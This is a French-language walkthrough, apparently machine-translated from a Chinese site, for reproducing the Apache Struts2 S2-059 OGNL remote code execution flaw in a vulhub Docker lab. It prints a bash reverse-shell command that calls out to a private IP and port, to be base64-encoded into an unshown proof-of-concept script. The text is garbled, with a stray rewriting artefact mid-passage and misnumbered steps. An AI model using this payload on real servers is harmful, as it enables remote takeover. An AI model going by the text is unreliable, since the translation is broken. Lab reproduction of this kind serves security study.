Maison > Article > Opération et maintenance > Comment la vulnérabilité d'exécution de code à distance Struts2 S2-059 se reproduit-elle ?
Struts2 est un framework open source Java Web très puissant lancé par l'organisation logicielle Apache, qui est essentiellement équivalent à un servlet. Struts2 est basé sur l'architecture MVC et possède une structure de framework claire. Il est généralement utilisé comme contrôleur pour établir une interaction de données entre les modèles et les vues, et est utilisé pour créer des applications Web Java au niveau de l'entreprise. Il utilise et étend l'API Java Servlet et encourage les développeurs à adopter l'architecture MVC. Struts2 s'appuie sur les excellentes idées de conception de WebWork, absorbe certains des avantages du framework Struts et fournit un cadre d'application Web plus soigné implémenté dans le modèle de conception MVC.
Un attaquant peut construire une expression OGNL malveillante et la configurer pour qu'elle soit modifiée par une entrée externe, et exécutera la valeur d'attribut de la balise Struts2 de l'expression OGNL, provoquant l'analyse de l'expression OGNL, provoquant finalement le impact de l’exécution de code à distance.
Struts 2.0.0 – Struts 2.5.20
1 Cet environnement de vulnérabilité est rapidement construit à l'aide de vulhub. //github .com/vulhub/vulhub
cd vulhub-master/struts2/s2-059
2. Utilisez docker-compose pour créer rapidement l'environnement du champ de tir
docker-compose up -d
3. Démarrage terminé Ensuite, visitez http://ip:8080/?id=1 dans le navigateur et vous pourrez voir l'interface de test
0x04 récurrence de vulnérabilité2. Utilisez POC pour faire rebondir le shell. La charge utile du shell de rebond doit être codée en base64
bash -i >& /dev/tcp/172.16.1.132/9967 0>&1
encodage base64. URL :
La phrase originale est déjà une phrase complète qui fournit un lien. Si je devais la réécrire, cela pourrait ressembler à : Voici un lien vers une page Web contenant des informations sur les charges utiles d'exécution du runtime : http://www.jackson-t.ca/runtime-exec-payloads.html Modifiez la charge utile dans le poc avec votre propre charge utile, puis exécutez-la à l'aide. python. Vous pouvez voir que le shell est rebondi
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!